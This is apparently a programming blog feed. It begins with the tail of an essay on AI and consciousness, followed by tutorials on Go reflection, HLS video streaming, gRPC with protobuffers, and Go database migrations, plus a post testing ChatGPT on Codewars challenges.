They give the label “conscious” to higher animals such as dolphins, orangutans, crows and other organisms that show traits of intelligence.

While others go further by saying that a system becomes more conscious the more intelligent it becomes, perhaps we could consider the example of Blake Lemoine, who claimed that Google’s artificial intelligence model had become conscious , or Giulio Tononi’s integrated information theory, which proposes that consciousness is generated when a system is able to incorporate information and unify it, and that this level of consciousness (called Φ) can be calculated for any system.

The problem of determining whether something is conscious or not

We also face the problem that consciousness can only be experienced by the conscious entity, there is no experiment that allows us to say for certain whether an entity is conscious or not. Without falling into an absolutist solipsism, we consider that the rest of human beings are conscious only because we know that we are conscious, not because we have irrefutable proof of it.

As Ludwig Wittgenstein stated in his book Philosophical Investigations:

Imagine that at birth you are given a box with a beetle in it. It is a very valuable and extremely personal object, so much so that no one can see inside the box except oneself. Thus, there is no objective way to confirm that all boxes contain the same thing. In the best of cases they could contain a real beetle, but nothing guarantees one hundred percent that instead of the beetle there are not other insects, such as an ant or a spider, or that there is nothing at all, but whatever it is, it will always be considered under the term “beetle”.

As long as we do not understand what consciousness is exactly, we cannot know that we have to “measure” to know if another entity is conscious, as long as it makes sense to talk about “measuring” when we talk about consciousness.

Signs of Intelligence without consciousness

Likewise, there are positions that defend that intelligence does not necessarily depend on consciousness, but that it can exist in systems that do not have subjective experience. For example, it is sufficient to cite Alpha Go and other computer programs that are capable of responding to complex stimuli, without existing beyond the game for which they were programmed, or sleepwalkers, who can show signs of intelligence even when they are not conscious .

Reinforcing the latter argument, Sir Roger Penrose claim in his book, “ Emperor’s new mind ”, that consciousness is not computable, and therefore we will never get to the point of creating an Artificial Consciousness nor AGI using algorithms, nor it will emerge naturally from computational complexity, regardless of the complexity of our LLM(Large Language Models) fine-tuning methods.

But even if human beings have unconscious processes capable of existing without the manifestation of consciousness… there must be something more than simple mechanical action, after all animals are much more complex than machines aren’t they?

Biological automatons

Sometimes we believe that only machines have a mechanical behavior and that any living being would be able to respond in a very different way than a machine would, with more versatility and adapting to changes, but is this always the case?

In the book “ Godel, Escher, Bach: An Eternal Golden Braid ” by Douglas R. Hofstader. The author cites an experiment in which a sphex wasp is tricked into bringing a cricket within the confines of a burrow up to 40 times . Just as if it were a computer program, this wasp gets stuck in an infinite loop from which it cannot escape, how different is this from a computer program that, after the same input, generates the same output?

As Hofstader rightly speculates, a human would have “stepped out” of the loop to stop for a few moments and investigate what was happening.

Sphex wasp from the experiment mentioned in the book Godel, Escher, Bach: An Eternal Golden Braid

This experiment made me question whether some living beings are nothing more than biological automatons and also where is the turning point at which a living being ceases to be an automaton and becomes conscious, are there gradients of consciousness? And, if so, what does consciousness look like beyond what we humans experience? If consciousness exists as a macroscopic manifestation, is it deterministic, or does it belong to the quantum world of indeterminacy? I don’t know and I don’t think the truth has yet to pick a winner.

What to read or watch to learn more about artificial intelligence and consciousness?

Consciousness is a complex subject that cannot be addressed in a few lines, not for nothing is it known as the “hard problem”, but if these brushstrokes left you wanting more, I leave you with my list of favorite resources to delve into this complex subject.

Godel, Escher, Bach: An Eternal Golden Braid by Douglas R. Hofstader : the author delves into the subject of self-reference and develops the question: can a system understand itself?
The Emperor’s New Mind by Sir Roger Penrose : the author sets the context of the laws of the universe and analyzes whether consciousness and intelligence are related and whether they have a deterministic or non-deterministic character.
Brains, Minds, and Machines: Consciousness and Intelligence : MIT talk, where the topics of brains, consciousness, intelligence and machines are developed. Radically underrated; 7000 views on youtube alone? really?
Can a program be alive? small video essay where one of my favorite youtubers develops the issue of whether a computer program can be alive.
The connection between intelligence and conciousness

Go with Reflect: Boost Your Code's Flexibility

Mon, 13 Mar 2023 00:00:00 +0000

The “reflect” package is a useful library in the Go programming language that provides functions for working with reflection.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

What is reflection in programming?

Reflection is the ability of a program to inspect its own structure at runtime. This includes the ability to examine: types, values and metadata of objects in memory. Reflection allows us to have more flexible and generic code and allows us to create functions and data structures that can work with any type of object, regardless of its type. It is also the basis for metaprogramming.

We can divide Go’s reflection into two important types of data:

Type: The Go data type, from which all the information of the data type, its class, name, size, etc. is broken down. Value: The Go data value, with methods to modify the data of an object.

Data type: Type and TypeOf

Type is the most important data type in the reflect package since it represents the object in memory and stores all the meta information of our objects: its type, representation, methods and fields.

And how do we get a Type? With the TypeOf method

The TypeOf method of the reflect package is used to get the type of an interface, it receives an interface (i.e. anything) and returns a reflect.Type; “the most important type of reflect”.

graph TD; Reflect-->TypeOf; Reflect-->Type; TypeOf-->Type; Type-->Name; Type-->Kind; Type-->NumField; Type-->Field; Type-->Size;

In this diagram I place what I consider the most important methods of Type, but both reflect.Type and reflect.Value have many more.

See an example with TypeOf:

type Coffee struct {
    Origin string `exampleTag:"value"`
    Height int
}

coffeeInstance := Coffee{Origin: "Michoacan", Height: 1100}
// TypeOf returns the type *reflect.Type*
typeOfCoffee := reflect.TypeOf(coffeeInstance)
fmt.Println(typeOfCoffee)
// main.coffee

Notice how the data type is a structure corresponding to main, named coffee.

Name, the name of the data type

Name contains the name of the respective data type

// TypeOf returns a *reflect.Type* type
typeOfCoffee := reflect.TypeOf(coffeeInstance)
fmt.Println(typeOfCoffee.Name())
// coffee

Kind, the data type class

The TypeOf method allows us to obtain a Type object, which represents the data type of our interface, from which we can read the data type, with its Kind method.

// TypeOf returns a *reflect.Type* type
typeOfCoffee := reflect.TypeOf(coffeeInstance)
fmt.Println(typeOfCoffee.Kind())
// struct

NumField to get the number of fields in a struct

From Type we can obtain all kinds of useful information, such as the number of fields in an object. This is quite useful in the case of structs and other structures with multiple fields.

// We'll obtain the number of fields from our object
typeOfCoffee := reflect.TypeOf(coffeeInstance)
coffeeNumFields := typeOfCoffee.NumField()
fmt.Println(coffeeNumFields)
// 2

In this case we get 2 fields (Location and Height)

Consider that if you try to get the NumField of an int type or another type that does not have multiple fields, Go will return an error.

panic: reflect: Field of non-struct type int

Nested Field and Type of a struct

Type also puts at our disposal the Field method, which together with NumField, will allow us to access directly to the fields of a struct, from its index.

And, with this, we will be able to access the Types nested inside the Type object.

graph TD; TypeDelStruct-->Field; Field--Indice-->FieldType; FieldType-->Name; FieldType-->Kind; FieldType-->Otros...;

Each nested Type, like its parent, will have the Name and Kind methods that we saw a few lines above.

// We'll obtain the number of fields from our object
typeOfCoffee := reflect.TypeOf(coffeeInstance)
field := typeOfCoffee.Field(0)
fmt.Println(field.Type.Name())
fmt.Println(field.Type.Kind())
// string string

In this case, being primitive data types, both are the same: string; since the string type field is called string.

Read tags from a struct field with reflect

Reflect also allows us to access an object’s metadata, those annotations that you’ve probably seen if you’ve worked with ORM and/or JSON in Go.

To obtain the Tags of a struct, Tag.Get is used.

// We add a customized tag to read it in the future
type Coffee struct {
    Origin string `exampleTag:"value"`
    Height int
}

typeOfCoffee := reflect.TypeOf(coffeeInstance)
field := typeOfCoffee.Field(0)
// ...
fmt.Println(field.Tag.Get("exampleTag"))
// value

Data Value: Value and ValueOf

As I told you before, besides Type, there is another very important part in reflect, this is Value. The Value corresponds to the value of an interface, and how can we obtain a Value? Well, with ValueOf, do you notice how consistency is preserved?

The ValueOf method receives an interface as parameter and returns an object of type Value that will contain all the necessary methods to modify its own value.

graph TD; Reflect-->ValueOf; Reflect-->Value; ValueOf-->Value; Value-->Elem; Elem-->Field; Elem-->Set; Elem-->SetString; Elem-->SetComplex; Elem-->SetFloat; Elem-->SetInt; Elem-->SetBool; Elem-->SetInt;

Look at this example where you can see how ValueOf returns the value of our struct.

// ValueOf will return the value of our variable
coffeeInstance := Coffee{Origin: "Michoacan", Height: 1100}
ValueOfCoffee := reflect.ValueOf(coffeeInstance)
fmt.Println(ValueOfCoffee)
// {Michoacan 1100}

From Value we will have a series of methods to change the value of an object.

Modifying a field of a Value object

To modify a field we need to access the Value object that points to our object, which we can obtain by passing a pointer to the ValueOf method. And, from there, we will use Elem to access the value of our object, then its first field (only in the case of structs) and finally change the value using SetString.

coffeeInstance := Coffee{Origin: "Michoacan", Height: 1100}
valueofCoffee := reflect.ValueOf(&coffeeInstance)
valueofCoffee.Elem().Field(0).SetString("Oaxaca")
fmt.Println(coffeeInstance)
//{Oaxaca 1100}

Methods for assigning data in reflect

In addition to the SetString method, Go provides us with another set of specialized methods for each data type :

SetBool(x bool)
SetBytes(x []byte)
SetCap(n int)
SetComplex(x complex128)
SetFloat(x float64)
SetInt(x int64)
SetIterKey(iter *MapIter)
SetIterValue(iter *MapIter)
SetLen(n int)
SetMapIndex(key, elem Value)
SetPointer(x puntero inseguro)
SetString(x cadena)
SetUint(x uint64)
SetZero()

These methods can be accessed directly from Value.Elem for non-compound data types (such as structs).

original := "I will not be printed"
// We will obtain string's value
value := reflect.ValueOf(&original)
modified := "I WILL be printed"
// Let's change the original value 
value.Elem().SetString(modified)
fmt.Printf(original)
// I WILL be printed

Modifying a field with the Set method

The specialized methods to “set” a data are very useful, but sometimes we need a more generic method that allows us to modify the values dynamically, and for that reflect provides us with Set, yes Set just like that, without anything else.

In this example, first we create a string, to later obtain its value, with ValueOf, and then pass this new value to the generic method Set, which receives a Value object. And where do we get Value from? Well, from passing any data to ValueOf.

someString := "Oaxaca"
newValue := reflect.ValueOf(someString)
valueofCoffee.Elem().Field(0).Set(newValue)
// {Oaxaca 1100}

Creating an object with reflect

Reflect also allows us to create objects dynamically from a Type. To do this, just pass as argument the type of object, Type, that we want to create, to the New method, which, as you know, can be easily obtained from TypeOf.

typeOfCoffee := reflect.TypeOf(coffeeInstance)
newInstance := reflect.New(typeOfCoffee)
fmt.Println(newInstance)
// &{ 0}

From the type we obtained with TypeOf reflect will create a new object. However, in this case, being a struct to which we have not specified the values of its fields, it will be initialized with its zero values .

And that’s it for the little introduction to reflect, now you know enough to get confused and cry while working with anything that needs reflection. Great isn’t it?

Stream your videos and audios: HLS for your applications

Thu, 02 Mar 2023 00:00:00 +0000

Almost all modern web applications perform some form of streaming, from video platforms to live streaming. In this post I explain how streaming works with HLS in such a simplified way that it will bring out your inner purist.

I leave you a minimal example of streaming in Go here in my github repository , in case you want to see the code.

Introduction to streaming

Videos and audios contain a lot of encoded information, so their handling and downloading strongly impacts the bandwidth and usage of any server.

Streaming is a process that allows us to continuously send small amounts of information, in the case of audio or video, which can be stored or generated by a webcam or microphone in real time.

What’s wrong with the HTTP protocol for playing videos and audios?

Normal users don’t watch the complete audiovisual materials, yes, even you skip the paid advertising of your favorite influencers and sometimes you only watch 10 seconds of the video of some internet tutorials. If we were to use the HTTP protocol, the normal user would download a huge file, only to see a fraction of it. And he would have to wait for the download to complete before he could start playing it.

As you probably already know, sending the full video to all users would be pointless and consume huge amounts of bandwidth and I bet you don’t want to make your cloud providers richer.

The solution? Streaming; an on-demand model, where each user receives only what they consume of the audio visual material, a little at a time, and if the user closes the video we do not send them the rest.

Streaming protocols

Before you start, you should know that there are quite a few streaming protocols, each with its own particularities that you can delve into on your own:

RTSP
RTP
RTCP
HLS
MPEG-DASH
HDS

I will explain HLS, why? Because HLS uses the HTTP protocol, so it does not require specialized servers, and it is compatible with any device that connects to the Internet. Finally, we add that lately it is a popular protocol for video streaming.

The HLS protocol

The HLS protocol is a protocol based on HTTP, developed by Apple (yes, the same Apple), so any device that can connect to the Internet will be compatible with this protocol. HLS uses TCP underneath to send the information, avoiding the potential packet loss of its counterpart, UDP. And, as icing on the cake, HLS reacts to changes in internet speed and prioritizes the sending of lighter versions of our files (with lower quality, of course). The player in conjunction with the HLS library takes care of this automatically and you don’t have to worry about the details.

Preparation of the files for HLS on the server

Video transmission using HLS is carried out in several steps. First, the video is encoded and divided into segments of fixed duration. Then, these segments are uploaded to an HTTP server and provided to the user’s media player via a playback index, a file with extension M3U8, which is a simple text file containing information about the available video segments. The segments can be uploaded to a CDN for higher performance, and some CDNs can even handle the entire process of encoding and segmenting your video.

To implement the protocol on the server side we need two steps:

Coding
Partitioning

Coding

HLS requires our files to be in a specific encoding, so first we need to encode our media file to H.264 or H.265 (quite popular nowadays), so that any device can read them.

flowchart LR Video-->h.264 Video-->h.265

If your original file is not in that encoding, you can use tools like ffmpeg to convert it.

ffmpeg -i <input> -vcodec libx264 -acodec aac <output.mp4>

Partitioning and creating an index for HLS

Then, the video or audio that we need to place in streaming is divided into several parts, generally with a few seconds of duration and, in order to know in which order each part goes, an index will also be created.

flowchart LR Video-->index.m3u8 Video-->index0.ts Video-->index1.ts Video-->index2.ts Video-->indexn.ts

Partitioning for HLS can also be performed with ffmpeg.

ffmpeg -i <tu-video>.mp4 -profile:v baseline -level 3.0 -start_number 0 -hls_time 10 -hls_list_size 0 -f hls index.m3u8

The index that stores the order of each generated segment is a file with ending m3u8, whose content looks something like this:

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:13
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.333333,
index0.ts
#EXTINF:9.750000,
index1.ts
#EXTINF:13.458333,
index2.ts
#EXTINF:9.083333,
index3.ts
#EXTINF:9.208333,
index4.ts
#EXTINF:8.333333,
# ... RESTO DE FRAGMENTOS ...
#EXTINF:2.416667,
index24.ts
#EXT-X-ENDLIST

Each segment of the video is numbered in ascending order, each with a ts extension so that you know where it belongs.

HLS at the customer

That was the hardest part, now we just need to pass the index to our client and the client device will do the following:

Download the index,
Read the table of contents
Obtain the segment you require for the video according to the table of contents.
Add it to the playback queue
Read the index again to get the next segment and repeat the process.

All of the above with Javascript, the HLS player library is already developed and takes care of all this automatically.

sequenceDiagram participant Client participant Server Client->>Server: GET index.m3u8 Server->>Client: index.m3u8 Client->>Server: GET index0.ts Server->>Client: index0.ts Client->>Server: GET index1.ts Server->>Client: index1.ts

Example of HLS at the client

Look at this super simple example:

<script src="https://cdn.jsdelivr.net/npm/hls.js@latest"></script>
<!-- Cargamos la librería mediante un CDN o tu propio servidor -->
<video controls id="video"></video>
<!-- Cargamos la etiqueta de video -->

And now we proceed to load the index, or in another way, the file

var video = document.getElementById('video');
  if(Hls.isSupported()) {
    // Si soporta HlS 
    var hls = new Hls();
    hls.loadSource('http://tuservidor.com/ruta/index.m3u8');
    // carga el índice
    hls.attachMedia(video);
    //Una vez cargado el índice reproduce el video
    hls.on(Hls.Events.MANIFEST_PARSED,function() {
      video.play();
  });
 } else if (video.canPlayType('application/vnd.apple.mpegurl')) {
    video.src = 'http://tuservidor.com/ruta/stream';
    video.addEventListener('loadedmetadata',function() {
      video.play();
    });
  }

If you were to examine the browser you would see that the video is loaded bit by bit, and as it is needed, the browser requests the next video segment and automatically adds it to the playback.

Download HLS index and video snippets in browser

Preprocessing of videos for HLS on the server

If you will be in charge of processing the videos yourself, you may want to implement a service that will take care of encoding the videos to h.264 or h.265 and then split them into segments. After that you may want to link them to a notification system that lets your application know that the video processing is finished and can be played.

You may also want to have variants of the video with different quality, to be used in case of a slower connection on the client.

Of course, all of the above already depends on your architectural needs.

#EXTM3U
#EXT-X-VERSION:6
#EXT-X-STREAM-INF:BANDWIDTH=1210000,RESOLUTION=480x360,CODECS="avc1.640015,mp4a.40.2"
index-360p.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=2283600,RESOLUTION=640x480,CODECS="avc1.64001e,mp4a.40.2"
index-480p.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=3933600,RESOLUTION=1280x720,CODECS="avc1.64001f,mp4a.40.2"
index-720p.m3u8

With this you have the minimum to create a basic example and go from there on your own.

Fast and performant APIs using Go Lang gRPC and Protobuffers

Thu, 19 Jan 2023 00:00:00 +0000

Protobuffers allow you to create a Go Lang gRPC API that has the characteristic of being incredibly faster, because it uses binary instead of other less optimized formats (such as JSON), in this post you will learn what this type of API is and why it is so fast.

In my post about the basic characteristics of a REST API I mentioned to you that, besides REST, there were other types of APIS, one of them is gRPC, which is derived from RPC, so let’s start the post talking about the latter.

What is RPC?

RPC stands for Remote Procedure Call, which, in simple words, refers to invoking code execution on one machine from another machine, usually a server, in such a way that, to the programmer, it appears that the execution was performed locally.

How does RPC work?

The more detailed process is as follows:

The client makes the call by sending a message to the network.
The call includes a procedure to encode the methods, request types, and response type in the appropriate format. request and response type in the appropriate format. ( marshalling ). This procedure is called the stub.
The server receives the request and uses the stub to decode the data into the appropriate format of the RPC environment and to know what to execute and with what information.
The task is executed on the server and a response is generated as a result.
The response from the server is encoded using the stub and sent to the client.
The client receives the response and decodes it in the appropriate format.

Schematic diagram of gRPC operation

Did you notice I mentioned data encryption? Well, one aspect of RPC to note is that it requires both client and server to use the same programming language, which makes it a disadvantage in environments where multiple programming languages can be mixed.

Now, let’s go to gRPC.

What is Go Lang gRPC?

Google took into account the shortcomings of RPC and decided to improve it by creating gRPC.

gRPC emulates RPC with the advantage that it does not need to use the same programming language to perform machine-to-machine communication.

And what happened to data encryption? Well, Google developed Protocol Buffers (or protobuffers) to use them as the default format for gRPC in the exchange of information between machines and achieve better performance than other formats such as JSON or XML.

What are Golang protobuffers?

You have probably worked with APIs and have noticed that, when communicating with an API, there is an exchange of information; you send information to the API and it returns a response. This exchange of information can take place in different formats, plain text, XML (if you are old school) or JSON (the most popular today).

For this exchange to occur, the information must be serialized when it is sent and then deserialized.

graph TD; JSON-- serialización -->data; data-- deserialización -->JSON;

Protocol Buffers (protobuffers from now on) are a completely language and platform agnostic format, which gRPC uses to serialize and deserialize structured data only that, instead of using JSON, XML or another format, it is done directly in binary. This, as you know, makes it much more efficient than using a more human-friendly format like JSON.

The compilation of the .proto file is unidirectional, while the serialization deserialization is bidirectional.

How to convert information with Golang protobuffers?

Simplifying, to create the necessary code to serialize and deserialize in the protobuffers format we start from a file with extension .proto, this will be in charge of modeling the information that we will use to communicate, as well as the services that will be available for our API. Basically it is to tell you how our information is structured and what changes we are going to make on this information along with what they will receive as input and return as response.

message DataResponse {
    int32 id = 1;
    string info = 2;
    string result = 3;
}

message DataRequest {
    int32 id = 1;
    string info = 2;
}

service Publisher {
    rpc ProcessData (DataRequest) returns (DataResponse) {}
}

After defining our models and services, these files are compiled, and will generate the necessary code to serialize and deserialize the information in the language we want, both on the client and server side. We do not have to worry about the details in this regard.

Currently the protobuffers format is available for C#, C++, Go, Objective-C, Java, Python and Ruby. Check the documentation for your particular language.

REST vs gRPC

Differences between REST and gRPC

I put the main differences between REST and gRPC are summarized in this table

Aspect	REST (JSON/HTTP)	gRPC (Protobuf)
Speed	Slower (text-based)	Faster (binary encoding)
Payload Size	Larger (JSON)	Smaller (binary Protobuf)
Compilation	No schema (dynamic)	Requires Protobuf compilation
HTTP Version	HTTP/1.1 (mostly)	HTTP/2 (multiplexed streams)
Streaming	Limited (SSE, WebSockets)	Native (client/server/bidi)
Browser Support	Full	Limited (requires gRPC-Web)
Code Gen	Optional (Swagger/OpenAPI)	Built-in (protoc)
Use Cases	Public APIs, Web Apps	Microservices, Internal Systems
Error Handling	HTTP Status Codes	Rich error codes + status
Go Integration	Manual structs (`json:""`)	Auto-generated Go structs
Caching	Easy (HTTP caching)	Difficult (binary format)
Human Readable	Yes (JSON)	No (binary)
Latency	Higher (multiple requests)	Lower (multiplexing)

How fast is gRPC compared to JSON REST?

But how efficient is gRPC compared to REST? Check out this comparison by Matthew Leung .

	gRPC	REST
Peticiones/Segundo	48.00	4.00
Latencia de la petición	6.15	8.00
CPU ms/s	832.00	404.00
CPU/petición	17.33	101.11

As you can see gRPC is much faster than REST plus JSON when processing requests, performance tests vary from 5 to 10 times.

Why is gRPC so efficient?

There are several factors that make gRPCs extremely efficient for exchanging information:

Uses protobuffers as a structure for data exchange.
The use of HTTP2 and multiplexing.
Compression of headers.

The binary format of the protobuffers translates into a smaller amount of information to be transported and easier and more efficient handling by computers.

On the other hand, the use of HTTP/2 allows gRPC to send multiple streams of information over a single TCP connection (multiplexing) in a bidirectional and asynchronous manner.

Types of gRPC and streaming

The HTTP/2 protocol is versatile and allows gRPC to support four types of client-server communications:

Unary. The client and server communicate using a simple request and response, as in REST. response, as in REST.

graph TD; Client-->Server; Server-->Client;

Server-side streaming. The server sends multiple responses to a request from the client.

graph TD; Client-->Server; Server-->Client; Server-->Client; Server-->Client;

Client-side streaming. The client sends multiple requests to the server The client sends multiple requests to the server and the server responds with a single response. Used in MCP Model Context Protocol

graph TD; Client-->Server; Client-->Server; Client-->Server; Server-->Client;

Two-way streaming**. Both the client and the server send multiple requests and multiple requests and responses, respectively.

graph TD; Server-->Client; Server-->Client; Server-->Client; Client-->Server; Client-->Server; Client-->Server;

As you can see this is super useful for services that require constant exchanges of large amounts of information, such as microservices.

Other Go lang gRPC capabilities

Interceptors

gRPC has a mechanism to intercept messages and modify them to your liking, you can think of it as a kind of middleware.

Load balancing

gRPC provides load balancing capabilities natively.

Reference resources

I Test ChatGPT With Codewars Coding Challenges

Mon, 12 Dec 2022 00:00:00 +0000

ChatGPT is breaking with everything previously known in artificial intelligence, some developers are worried that it may replace them in their jobs, just as Github Copilot threatened at the time. In this post I test ChatGPT’s supposed intelligence against three codewars challenges.

How does Codewars work?

Before we start you need to understand that Codewars is a social network for programmers where code challenges written by the same users are shared. Each challenge can be tested with a series of tests and, if it passes all of them, the challenge is considered completed. These challenges are called katas.

Each kata has a level of difficulty, defined by its number of kyu (as in martial arts), with the highest numbers being the easiest and the lowest numbers the most difficult, ranging from the 8th kyu to the 1st kyu.

The challenges are very varied, ranging from classic tests, such as obtaining prime numbers, to more complex ones, such as writing code without exceeding two characters per line.

Test with common requests to ChatGPT

To start with I was testing ChatGPT with a series of simple and popular requests. I found that ChatGPT was able to return the correct code each time with its explanation and logical steps:

Fibonacci numbers
Prime numbers
Palindromes
Validate email, strings, numbers
Very specific tasks of some frameworks. For example: Replace User model in Django.

Notice how it knows how to replace the user in Django, but it assumes that the best choice for a location field is a CharField.

Frankly, I am surprised with the capabilities of generating correct code that ChatGPT has for simple tasks and with abundant information on the net; I did not expect such capability.

For this entry I’m going to test this artificial intelligence with algorithmic puzzles that require a little more than googling information on the internet.

Codewars test selection

For these proofs I tried to choose a middle ground between those proofs with very straightforward requirements and with abundant solutions on the web (such as fibonacci numbers or primes) and those that require a lot of additional information, very complex premises or that require extra context. I also focused on those solutions that are not so popular on the web.

ChatGPT vs Rotate the matrix counter-clockwise N - times! (6kyu)

The challenge of the Rotate Matrix Anti-Clockwise N - Times! test is: In this kata your mission is to rotate a matrix counter-clockwise" n" number of times. That is, rotate a matrix against the clock “n” number of times.

The input I used in ChatGPT to generate the code is as follows: Create a function that rotates an array counterclockwise “n” number of times.

Rotate matrix with ChatGPT

The Python code generated by our artificial intelligence is as follows:

# Este código fue generado por OpenAI-ChatGPT
def rotate_matrix(matrix, n):
    # create a new matrix with the same dimensions as the input matrix
    rotated_matrix = [[0 for j in range(len(matrix[0]))] for i in range(len(matrix))]

    # loop over the elements of the input matrix
    for i in range(len(matrix)):
      for j in range(len(matrix[0])):
        # rotate the element at position (i, j) counter clockwise by n positions
        # and store it in the corresponding position in the new matrix
        rotated_i = (i + n) % len(matrix)
        rotated_j = (j + n) % len(matrix[0])
        rotated_matrix[rotated_i][rotated_j] = matrix[i][j]

    # return the rotated matrix
    return rotated_matrix

Response analysis

After executing the code we can see that all the tests fail, the matrix rotates, but more times than necessary.

Rotate a Matrix with ChatGPT

I want to emphasize that ChatGPT produces syntactically correct code, respecting identation, with intuitive variable names and even with a logic that seems correct, only at first glance, but upon closer examination, fails to “reason” its logic. Yes, I know that artificial intelligences do not reason.

ChatGPT vs Find Nth Inverse Number (Extreme)

The challenge Find the nth Reverse Number consists of: The nth reverse number needs to be returned. (Assume the reverse numbers start with 0 as shown in the example.)

That is, find the palindrome number “n” and with the appropriate condition of doing so with excellent Big O performance.

0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 22, 33, 44, 55, 66, 77, 88, 99, 101

Find a Palindrome number with ChatGPT

Response analysis

After running the code I was surprised to realize that, after a little tweaking, the result is correct!

Chat GPT code to find a palindrome number

In addition to producing syntactically correct code, the generated code works perfectly, even containing comments.

// Este código fue generado por OpenAI-ChatGPT
function findReverseNumber(n) {
  let i = 0n; // initialize a BigInt variable with the value 0
  let found = 0;
  // El ajuste está aquí, n-1 en lugar de n
  while (found < n-1) {
    i++;
    if (isPalindrome(i)) {
      found++;
    }
  }
  return i;
}

function isPalindrome(num) {
  let str = num.toString();
  for (let i = 0; i < str.length / 2; i++) {
    if (str[i] !== str[str.length - i - 1]) {
      return false;
    }
  }
  return true;
}

However, there is a small bug, despite producing the results correctly, the code fails the tests because the Big O performance of the artificial intelligence is insufficient for the test.

I tried to get the correct answer multiple times, even specifying the complexity of Big O with different inputs, but it was impossible to get the correct result.

ChatGPT vs Regular Expression for Binary Numbers Divisible by n (1 kyu)

The challenge of Regular Expression for Binary Numbers Divisible by n is: Create a function that returns a regular expression string capable of evaluating binary strings (consisting only of 1s and 0s) and determine whether the given string represents a number divisible by n.

Binary number division code using ChatGPT

After asking for an answer, it returns a rather simple expression and even gives us a step-by-step explanation of the logical reasoning, apparently correct but, in practice, incorrect.

The regular expression returned as a response is the following:

// Este código fue generado por OpenAI-ChatGPT
^[01]+\b(?:$){n}$

Response analysis

When we test it in the codewars tests, it fails, obviously.

An extra pair of braces is added to comply with Python F string syntax. False positives are due to the binary character in the response.

Results and my opinion

The results are summarized in the following table:

Kata	Resultado
6 kyu	❌
4 kyu	✅
1 kyu	❌

Although ChatGPT got only one of the challenges right (and only half right), it is able to solve simple problems, which could also be solved with a google or stackoverflow search, this artificial intelligence is able to return a code that works, but not necessarily correct or efficient, but it is close.

ChatGPT becomes quite inefficient with requests that require a more complex reasoning and seems unable to build a complex system, with many interacting parts, however I recognize that, for each question, it is able to return a syntactically correct and logical-looking answer, at least at first glance, giving us a false sense of security if we do not know the topic we are asking about. However, his answers can serve as a starting point.

Is ChatGPT a threat to programmers?

Do I think ChatGPT represents is going to put a lot of jobs on the line? Yes, but also because we may be in the living the AI overhype era I think ChatGPT will trouble most jobs (not necessarily those related to code) that are not challenging and whose difficulty lies in a simple google search, or automatable tasks, requiring simple reasoning. However, I believe that it is not the veracity of its answers, but its chat-like interface, and the immediacy of its answers, that could make it quite popular.

Go Migration Tutorial with migrate

Fri, 25 Nov 2022 00:00:00 +0000

In frameworks like Django, migrations are created automatically , from the models. However, in languages like go, as long as we are not using an ORM, migrations will be done manually.

Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it

What is a database migration?

A migration is an abstraction to manage the state and changes that occur in a database. Instead of executing SQL statements one by one manually, we automate the process by writing all the necessary SQL and running it automatically.

A migration consists of two files with SQL statements:

file up: To make changes in the database.
down file: To revert changes in the database.

For this case they are called up and down, but you could give them any other names; such as forward and backward, or next and previous.

For example:

Manually generated migration files

Migrations are complementary

Notice how the migrations are reversible and complementary; one performs an action and the other reverts it.

Following this logic we can make changes to the database and then revert them.

These two files can be generated automatically (as in the case of Django, from the models) or we can write them directly in SQL, as in the case of go.

Migrate installation

To handle migrations we are going to use a tool called migrate, written in go.

Migrate can be downloaded directly from their github releases section .

curl -L https://github.com/golang-migrate/migrate/releases/download/v4.15.2/migrate.linux-amd64.tar.gz | tar xvz
mv migrate.linux-amd64 $GOPATH/bin/migrate

In new versions of Go feel free to just use:

go install -tags 'sqlite3' github.com/golang-migrate/migrate/v4/cmd/migrate@latest

You should then be able to see which version you have installed.

migrate -version
4.15.2

Migration files creation with migrate in Go

To create the pair of migration files, which I told you about earlier, we run the following command:

migrate create -seq -ext=.sql -dir=./migrations <migration_name>

I explain what each flag does:

seq: indicates that it will be sequential, so that it begins with 000001 and continues until 00000n; the total of migrations that we have.
dir: will indicate the directory
ext: the extension of the file, in this case sql.
At the end the name we want the migration to have. I will use create_first_table for this example.

After executing the command, you will have two migration files, one with extension .up.sql and the other with extension .down.sql inside the migrations folder.

ls
000001_create_first_table.up.sql 000001_create_first_table.down.sql

These files must be edited manually and the SQL statements must be placed inside them.

Example of migrations in go with postgres

For example, to create a hypothetical table users in a postgres database:

For the up:

CREATE TABLE "users" ("id" serial NOT NULL PRIMARY KEY, "name" varchar(50) NOT NULL);

And, to reverse the above, there is the down file:

DROP TABLE "users";

Again, notice how both SQL statements are complementary; one creates a table and the other deletes it. But you can put more than one statement and they can be anything you want, an index, a constraint, a routine, etc.

Execute migrations with migrate in Go

So far we have only created the migration files, but we have not let the program know where the database is.

Before making any changes to the database, we will need to indicate the access address to the database in the following format [engine]://[user]:[password]@[domain]/[database].

And, obviously, the most convenient and safest thing to do is to save this address in an environment variable .

DATABASE=[engine]://[user]:[password]@[domain]/[database]

Now we have a database to connect to.

Apply migrations

To apply all migrations we will use the up command. Migrate will automatically detect the numbering and run all migrations up in ascending order.

migrate -path=./migrations -database=$DATABASE up

Remove migrations

On the other hand, to revert all migrations we will use the down command. Migrate will automatically detect the numbering and run all migrations down in descending order.

migrate -path=./migrations -database=$DATABASE down

Go to a specific migration

Whereas, if we want to go to a specific migration, we will use the goto command followed by the migration number to which we want to take the database.

migrate -path=./migrations -database=$DATABASE goto <migration number>

Migrate will detect the active migration and run the corresponding up or down migrations to bring the database to that state.

The migration table

And how does the tool know which migration it is in? After each change we make to the database, the migrate tool will store the state of our database in a table called schema_migrations that looks like this:

Migrations table where the current state is 1, selected in blue

Column version

Notice how the version column stores the status of the current migration. This way migrate records which version of the migrations it is in.

Dirty column

In addition, this table also contains a column called dirty that indicates if there was any conflict in the migration. In the latter case it will be necessary to repair it manually and force a new state in the table.

migrate -path=./migrations -database=$DATABASE force 1

Migrations to remote databases

The Migrate tool also supports remote migrations such as:

Filesystem
io/fs
Go-Bindata
pkger
GitHub
GitHub Enterprise
Bitbucket
Gitlab
AWS S3
Google Cloud Storage

Each of these endpoints requires a specific syntax. For example, the Amazon S3 endpoint looks like this:

migrate -source="s3://<bucket>/<path>" -database=$DATABASE up

